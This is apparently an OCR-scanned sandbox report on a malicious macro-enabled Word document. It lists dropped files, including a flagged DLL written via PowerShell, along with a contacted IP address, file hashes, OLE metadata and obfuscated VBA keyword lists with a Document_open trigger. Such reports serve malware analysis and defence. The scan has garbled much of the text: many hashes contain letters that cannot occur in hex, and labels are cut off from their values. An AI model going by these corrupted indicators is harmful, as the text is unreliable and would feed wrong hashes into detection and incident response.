Created / dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Context

184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83
184.66.18.83

Context

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{99DD3073-AAC4-4BB8-A12E-BAAB271DD5EB}.tmp
C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

data
dropped
1536

1.3586208805849456

false

CF70770B18EE4D2D3584E26882E961A9

B674900882E193830D40625F6FB3968665CF88F5

11491FBEEBBF8D1C6B421C310B38DA090923E2B20CF966E70AE7AESB906C5833

8A41B167C8EFA61C1074BD703D606FCABE9OAECB07DES07846D5F2C463CF8F130364F79EB1A2C3AC4BOCD31FF1A0017E98884672E9B7688539EE868D0F4CB6!

0

false

el (AL US. A

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1AA7D61-551E-40AF-9919-E039C2A6E74E}.tmp
C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

data
dropped
1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7EO06BBBOAF9584119797B23A

DBB111419C704F116EFA8E72471DD83E8GE49677

4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B

A4

false
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https://view.joesandbox.com/analysis/251575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251575/html/none?idtype=webid
https://view.joesandbox.com/analysis/251275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251275/html/none?idtype=webid
https://view.joesandbox.com/analysis/251272/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251272/html/none?idtype=webid
https://view.joesandbox.com/analysis/251259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251259/html/none?idtype=webid
https://view.joesandbox.com/analysis/250735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250735/html/none?idtype=webid
https://view.joesandbox.com/analysis/250684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250684/html/none?idtype=webid
https://view.joesandbox.com/analysis/250640/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250640/html/none?idtype=webid
https://view.joesandbox.com/analysis/250620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250620/html/none?idtype=webid
https://view.joesandbox.com/analysis/250614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250614/html/none?idtype=webid
https://view.joesandbox.com/analysis/250601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250601/html/none?idtype=webid
https://view.joesandbox.com/analysis/250594/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250594/html/none?idtype=webid
https://view.joesandbox.com/analysis/250582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250582/html/none?idtype=webid
https://view.joesandbox.com/analysis/250515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250515/html/none?idtype=webid
https://view.joesandbox.com/analysis/250485/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250485/html/none?idtype=webid
https://view.joesandbox.com/analysis/250477/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250477/html/none?idtype=webid
https://view.joesandbox.com/analysis/250466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250466/html/none?idtype=webid
https://view.joesandbox.com/analysis/253189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253189/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1AA7D61-551E-40AF-9919-E039C2A6E74E}.tmp

Preview:

C:\Users\luser\AppData\Local\Temp\VBE\MSForms.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162688

4.254477833686909

false
1536:C6gL3FNSc8SetKBI6vQVCBumVMOejemXmYarrJQcd1lFalcm48s:CRINSc83tKBAVQVCgOtmXmLpLm4l
CEF28C6E4F49BBODE2976E073BAB441E

CA58C8432E040057B717AC133A9265853586BA0D
1D4FA10D7A83016498AB2358804248BAF6817D661558040F362B1A354004C40D

6AF1B9A2646A37333FA9FE17431E69F2D029D36A7ED2D6DFA7AFB6AG0FAC413DCAD3DAC6ED865962B6EES08973526C091EAASFDAC68C0O72BA173A433503142
F

false

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Doc.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Sat Jan 9 01:10:34 2021, length=206336, window=hide

dropped

1946

4.4936355580544145

false

48:8K6/XT3IkQ5Rj2FQh2K6/XT3IKQ5R|j2FQ/:8K6/XLIKQ5UFQh2K6/XLIKQSUFQ/

C38445A30D6C8B15D19CCC6FI6CED1AB

5FC35945C876F1605C2864C6BF6090D75A5DD137

9C927546DD20294D9904134808A510BF562DB8FA4C29BE2C80DDE3875DEC98C5
960210BF50221E28E71A83B00D1CFB02C2A95BCC7035FB5ACF3845B20D3B9D0806F72704A183CEFA3105354FDE48BFB0924E1569AAF5C73D4E3BEF479220DEA

Fo TO.{.TO.{....4, ...&..
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&
.1.7.6.9....R.2..&..)RR. .Doc.doc <....... Q.y.Q.y*..8...... .
Doc.doc......\....\...\....\....\.D.e.;s.k.t.o.p.\.D.o.c...d.o.c "
.3.6.7.3.3.6.4.7.7.-.1.0.0.6............".....X.......088753.......... D_..

P.O. i 400 /C\ t.1....QK.X..Users.".
ceeedAllbius..z 1 .Quy . Desktop.d......QK.X.Q.y*.

.6 Users.@.s.h.ell3.2.dll,.-
.D.essk.to.p.@.s.hell3d.2.dll,.-2
Ci\Users\.#.....cccceveenen. \\088753\Users.user\Desktop\
...8.-.1.-5.-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

47

3.730700034382073

false

3:M1cGLBC5zCmX1cGLBCv:MeG9AZWG9s
071D4A911934095DE3D17DDC9112A372
5765B8D82EE7042EA3223FE74B8F7B8CE92977B0
3F7D6A8692933570421B2ABAA5D00299928FFAEB27FBD44CA64901D4DD0O18E2F

59174496AADC7D95CE7999973E9BC8977986C145650FE0767E6FDD254C0DA19360B6C5BC3D1F4ED7E3DB5D2E64C657FF681DF17C1B15D4585A18ECOF5EFB24
7

false

[doc]..Doc.LNK=0..Doc.LNK=0..[doc]..Doc.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
data

dropped
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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

162

2.431160061181642

false

3:vrJlaCkWtVyokKOg5GIIBGWSKG/f2+1/In:vdsCKkWtW21IID9I
39EB3053A717C25AF84D576F6B2EBDD2
F6157079187E865C1BAADCC2014EF58440D449CA
CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

5AA3D344F90844D83477E94EODOEOF3C96324D8C255C643D1A67FA2BBOEEBDFA4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C

false

.user...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CNLDNGQDOXTNQWS5LTFBN.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5849605943204703

false
96:chQCsMgbqvsqvJCwovz8hQCsMgbgvsEHyqvICworlzkKYkHcf8RelUVJlu:cyKovz8yyHnorlzkNf8R/Iu
2F954C783E9CD474F876CD96D4950B3C

5E872158635EA3B407AEEE7CCD1701B20DBD7DC2
63BOE7657CA6D348F80B4A75B33EAC54614B21FD92B963AB169297COD39BDA4E
7B5CEOE30B263A36F5DA2C936314A7CF0534FEGEEF3E6C34BCI0D6B544C4482339227607BE81CA4EDBIA353985792668C755893C6F765037FDAAFICFEA348155/

false

oo F 08D XA D XD K P.O. .i....00.../C N \.1....{d\. PROGRA~3.D.......{d.\*.. K.cooeovvee Pr 0.
W.i.n.d.o.w.s....... (¢

<...P.r.o.grams..@.s.he.l
SLWINDOW~LLR. i ™,

...W.i.n.d.o.w.s.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Joe Sandbox
View:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

239104

7.444833448975582

false
3072:KC1sUJsEI0JCTFM5/A8eWLdIUBthEnYsgibnjPw+a5DIYvK8UIDoQQh3:KC1NIMoJywAkdrHEN1qibjm5DIYSX
OBCAFFBDA4138F2EE2786CFD098C1DA9

3D6E52F126809C05E69F1D543B7F8D53435A8E17
5E9F4504B7E0938A2B2EBIA7FO90BEIF4B1101AA3BE145A3B5895CB14BACDOEF

92EA1A4CDDA5A58D275C1058467C5F2DC5147A2D321A41396C6598EAF3D9520AAB114C411CDAO8SA7D8F3DBI0E36E9ID3F10720541DDF7FAA7758B9C6073CD9:2
2

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 90%

e Filename: Informacion_4-09757.doc, Detection: malicious, Browse

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

Copyright null 2021

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
data

dropped

162

2.431160061181642

false
3:vrJlaCkWtVyokKOg5GIIBGWSKG/f2+1/In:vdsCKWtW2IIID9I
39EB3053A717C25AF84D576F6B2EBDD2
F6157079187E865C1BAADCC2014EF58440D449CA
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https://view.joesandbox.com/analysis/253189/html/none

SHA-256: CD95COEA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A
SHA-512: 5AA3D344F90844D83477E94E0DOEOF3C96324D8C255C643D1A67FA2BBOEEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891
C
Malicious: true
Preview:
USET ... Alb.us............. | IO Weiiiniirens Weiiiiines PW. W..ooZonnn W....X...

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Doc.doc"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
fuchsia Health & Industrial copying PNG National
Handcrafted Plastic Towels utilize Baby & Grocery
interface array, Author: Valentin Pierre, Template:
Normal.dotm, Last Saved By: Alexandre Royer,
Revision Number: 1, Name of Creating Application:
Microsoft Office Word, Create Time/Date: Mon Dec 21
16:46:00 2020, Last Saved Time/Date: Mon Dec 21
16:46:00 2020, Number of Pages: 1, Number of Words:
5823, Number of Characters: 33197, Security: 8

6.40369092724353

e Microsoft Word document (32009/1) 54.23%

e Microsoft Word document (old ver.) (19008/1)
32.20%

e Generic OLE2 / Multistream Compound File
(8008/1) 13.57%

Doc.doc

206220

16f391d60eff19aabb43225c¢85d5145¢
58becf84bea5dafb9d46afc194adeaf946fadc72

af5c3952d0c7a7a2925c6086aa050dd076afcladead3662
dc2141087009a6d87

1flbdble9cabcad0f9136dbcd2189cbe5f35fdba085b84a
883624b6908dde78950ab074b653de8b910d1975eb53c¢
2760d7af4a454a8d1186fcdf35a701laac2c

3072:fY9ufstRUUKSNs8T00JSHUgteMJ8qMD7gZN1oP
XWS9BOO90u/i6j3N:fY9ufsfglfOpL+GSIBOOI0U/i6j3N

e ———————— S 8B e 5..6...
7.

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True
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Summary

Code Page: 1252

Title:

Subject: fuchsia Health & Industrial copying PNG National Handcrafted Plastic Towels utilize Baby &
Grocery interface array

Author: Valentin Pierre

Keywords:

Comments:

Template: Normal.dotm

Last Saved By: Alexandre Royer

Revion Number: 1

Total Edit Time: 0

Create Time: 2020-12-21 16:46:00

Last Saved Time: 2020-12-21 16:46:00

Number of Pages: 1

Number of Words: 5823

Number of Characters: 33197

Creating Application: Microsoft Office Word

Security: 8

Document Summary

Document Code Page: 1252
Number of Lines: 276
Number of Paragraphs: 7
Thumbnail Scaling Desired: False
Company:

Contains Dirty Links: False
Shared Document: False
Changed Hyperlinks: False
Application Version: 983040
Streams with VBA

VBA File Name: UserForm1l, Stream Size: -1

General

Stream Path: Macros/UserForm1
VBA File Name: UserForml

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm2, Stream Size: -1

General

Stream Path: Macros/UserForm2
VBA File Name: UserForm2

Stream Size: -1

Data ASCII:

Data Raw:
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General

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm3, Stream Size: -1

General

Stream Path: Macros/UserForm3
VBA File Name: UserForm3

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed
Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_Base
VB_Customizable
VB_TemplateDerived
VB_GlobalNameSpace

VBA Code

VBA File Name: UserForm4, Stream Size: -1

General

Stream Path: Macros/UserForm4
VBA File Name: UserForm4

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Customizable
VB_Predeclaredld
VB_GlobalNameSpace
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Keyword
VB_Base
VB_TemplateDerived

VBA Code

VBA File Name: UserForm5, Stream Size: -1

General

Stream Path: Macros/UserForm5
VBA File Name: UserForm5

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: L6bihtdtnasc, Stream Size: 681

General

Stream Path: Macros/VBA/L6bihtdtnasc

VBA File Name: L6bihtdtnasc

Stream Size:

Data ASCII:

Data Raw: 01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 77 02 00

00 00 00 00 00 01 00 00 00 53 8f ed 7d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

VBA File Name: Qfepbztq9r801176, Stream Size: 16867

General

Stream Path: Macros/VBA/Qfepbztq9r801l176

VBA File Name: Qfepbztq9r801176

Stream Size: 16867

Data ASCIl: O, S
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General

Data Raw: 01 16 01 00 00 fO 00 00 00 8c 08 00 00 d4 00 00 00 88 01 00 00 ff f ff ff 93 08 00 00 Of 30 00
00 00 00 00 00 01 00 00 00 53 8f f0 d9 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

xaeBOIr

QokjF

RmtjCU:

ftFiaG

VBA.Replace
"hzJiH.sMeEIQHFY.gexKUGUI"
OGQTPEH

lvaOGgAa

szYhABIf

MacHEivy:
"SIYsHYJ.szjuc.RoiPd"
rHCZJEw:

tbIDBXAIB:

IdHEFHG

BQvbJ

UMafav

Rwjxp:

wMbuCy

VARE

"lglrgA.vtwEImM.IETEIJA"
pIPWEU
"PJdCYHGDx.xMcac.TuKMx"
pHVME:

mzvVQC

DVIODFG

CFoGN:
"fInkNjH.nGdvFGC.zkPVeOFC"
Rwjxp

qoqOYANKJ

XgcnJVEG

Binary

HGRHh
"KITTDXhW.iidsEDJga.QyLHeCE"
dkidmfe:
"ihoEED.PDrskFBA.bJbNF"
"TtYIGDY.tYIIB.IXupzJHD"
Uzngzb:
"PuasnADG.cAXTGAN.sUXKFmjG"
"atyQEDH.RWyVArHAB.pVvDpHEUD"
FfUdDPm

qoqOYANKJ:
"cHBGAIHG.cFpJGIJl.vbUoN"
ftFiaG:

natkhnGFQD

RmtjCU

uTaPAIGNH
"DIzhGE.NKfSJgpcH.SjmcJJIBJJ"
"TemfXF.bfMha.jnRgFK"
sIPRBMFEB

XytRGbWWR:
"MylulGxxD.VpYVAPIw.iMbgAEuc"
"WLTBZpoB.cMFiJ.phmHGHIJI"
RIXsHI:

mMDIBBGH

FMrcDEFEQ

psnriHICY:

XgcenJVEG:
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Keyword

jTeLG:

jLvyJe

daVOIQKE

yUhrXm

kloRF
"jyHqihfKA.HgOuAh.cuXjB"
Resume

0SyUH:

tbIDBXAIB

OdtXGe:

bKRLCqR:

aigHJw
"vQgTUNIC.nBxYKHe.euwNI"
StHrFBBI

yffIdpMFE

ErRsBJD:

nYVDF:
"XxmzEU.DyPyOF.GnJIMGdHHU"
"iDyAHIGSG.AovRB.OpXLjg"
"YYaOCJyF.hdZxD.qyepAED"
uKIZBM:

dOVxshsCl

HGRHh:
"FRqFHc.GehTAIFeH.hjCzI"
Uzngzb

uoFsgOnl:

ChrW(wdKeyS)

nYVDF
"GBOjoID.psdHCIh.HUOuBFiwJ"
aNLAA:

FfudDPm:

TrEWGLLVF

IBpILIQXL
"nSjSfx.APeET.VNDhZIFF"
RGWBBRDVD

aMkvd

LeiBYFBA

"noFGAFVHG .kPRnsl.iUayAGGJ"
DhJcAB
"xWUqJ.yvIzE.IOPJGBIID"
QuDJB

zwugICFsC:
"zZudKl.oKzyJHE.mICJqCLW"
mzVQC:

MGNTHC
"hbDIWIQJE.qsCgEh.gJUPEC"
MJenEIFhH:

shBWyQG

VB_Name

TrEWGLLVF:

XLdgAFZA

DobhmyY:

IYLpCJ:

ErRsBJD

RIXsHI
"XLYdgIG.gQzexpZZ.Rhwwu"
SWDKIFtR

kQkgMq
"SiPdpA.jcGoGFZG.ZFwWf"
jSyHcJYnj

zbWDKmIB
"GCWzCzxj.EBrCIIIA.IFKuCCPB"
LPIUFEHD

DVIODFG:
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Keyword

FMrcDEFEQ:

NfmoCHe

MJenEIFhH

zwugICFsC

BcjsHnEg

bglolAW:
"LVNMDIBAF.xsRQCZg.LUmCCICh"
UYDdxBQA

XDsudqEDb
"DdVxFIBEH.DhxsFC.oiBeEZBI"
WACNy
"mUzmj.DGYhPmMFUM.FjtHqCA"
fgHICIHJ

mMQgRQJCTI

LPIUFEHD:
"RatqHEg.BQzvFH].DPRWAZfCV"
1YLpCJ
"IQTLdE.FEpPmy.IHdOCgSB"
jCzixXAB

fgHICJIHJ:

QuDJB:

gsCwnX

psnriHICY

hDtiCc
"IVppvD.wgJNDzCy.gLKXd"
"eRIbAHDf.VXIsV.yVVaFD"
jvyTJ

bglolAW
"gDQhOr.AdtYHAYCC.QdPVFH"
IdHEFHG:

"IhtjJG.WHfQBCchC. TNiPT"
kSctB

dkidmfe

FOjwIJ

NwkUz

garxACNgv

daVOIQKE:
"SIGMA.VBVZECSNI.VtRtHG"
"kpKDCAObU.IVFrXHGJP.NZDXABTE"
pHvVME

xIJNGw

aNLAA

tIBtVVy

Function

iAPcH

DKKDCCGD

uhOGZf

WMQzHDM

IICRFJ:

rNIlgDGG:

BQvbJ:

kSctB:

XDsudqEDb:

rHCZjEw

rNIlgDGG

IICRFJ

uKlzBM
"fQjsm.gYjzDADu.uLEQDCB"
"ZgugNT.fyNMD.sGSsb"
rLiMgJdC

rPTbFNplg
"NwDyjJHj.sGvCc.zUWPZDN"
CFoGN
"FtLdBBFt.TgcFAD(.QKdzF"
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Keyword

String

MacHEivy

TAYfnygFI

DhJcAB:

yYtBFhh:

mQgRQJCTI:

0SyUH

garxACNqv:
"Cyabs.OCfwHDf.gOFzDG"
TVKeFhHT

pRVuUBH

dHHCYIX

OdtXGe

rLjiMgJC:

hDtiCc:

xIJNGw:

yYtBFhh
"WWbKMTCsB.TfYnablxs.EKZtUghe"
XytRGbWWR

lyiwBHG

HHrDJ

jTeLG

Error

Enpewjzyrpx()

Attribute
"DhFqOHHFH.LWgNFDF.xxbwQDD"
Close

dSxaFFFR
"ugVrJFm.YuthulJ.ckCgK"
uoFsgOnl
"PuLhbH.VgtBGDc.mMkjrBBF"
"bsYyG.zoiSBCHJ.dLLbHJeCm"
IQtEqBGHB

etMolHJ

DobhmY

IXfIku
"NrQDg.kdwxHDRVG.YuMDH"
shBWyQG:

xISbD
"spaJuD.hyjRQhJ.zAAqzHBB"
"WdQWH.gAFZIDnl.EPZIJJDnD"
bKRLCqR

VBA Code

VBA File Name: R4bm01nsbtdtl, Stream Size: 1106

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Enpewjzyrpx

False

Copyright null 2021

Macros/VBA/R4bmO1nsbtdtl
R4bmO01nsbtdtl
1106

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 53 8f 9¢ d6 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForml, Stream Size: 1158

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm2, Stream Size: 1160

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute

Copyright null 2021

Macros/VBA/UserForm1
UserForm1

1158

01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff f ff 47 03 00 00 9b 03 00
00 00 00 00 00 01 00 00 00 53 8f d3 a7 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/UserForm2
UserForm2

1160

01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff f ff 47 03 00 00 9b 03 00
00 00 00 00 00 01 00 00 00 53 8f df ca 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: UserForm3, Stream Size: 1159

General

Stream Path: Macros/VBA/UserForm3

VBA File Name: UserForm3

Stream Size: 1159

Data ASCIl: @....... L....... G, S .z
................... X ot ME

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 53 8f 7a 2b 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False

VB_Exposed
Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_Base
VB_Customizable
VB_TemplateDerived
VB_GlobalNameSpace

VBA Code

VBA File Name: UserForm4, Stream Size: 1160

General

Stream Path: Macros/VBA/UserForm4

VBA File Name: UserForm4

Stream Size: 1160

Data ASCIl: @....... L....... G, S . MX. i
.................... X ot ME

Data Raw: 01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff ff ff 47 03 00 00 9b 03 00

00 00 00 00 00 01 00 00 00 53 8f 4d 78 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword

False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_Customizable

VB_Predeclaredld
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Keyword
VB_GlobalNameSpace
VB_Base
VB_TemplateDerived

VBA Code

VBA File Name: UserForm5, Stream Size: 1159

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

VB_Exposed

Attribute

VB_Name
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 114

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/VBA/UserForm5
UserForm5

1159

01 16 01 00 00 fO 00 00 00 40 03 00 00 d4 00 00 00 4c 02 00 00 ff ff f ff 47 03 00 00 9b 03 00
00 00 00 00 00 01 00 00 00 53 8f 62 58 00 00 ff ff 01 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

\x1CompObj

data

114

4.2359563651

True

........................... F ...Microsoft Word 97-2003 Documen
to.o... MSWordDoc..... Word.Document.8..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 20 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74
00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e
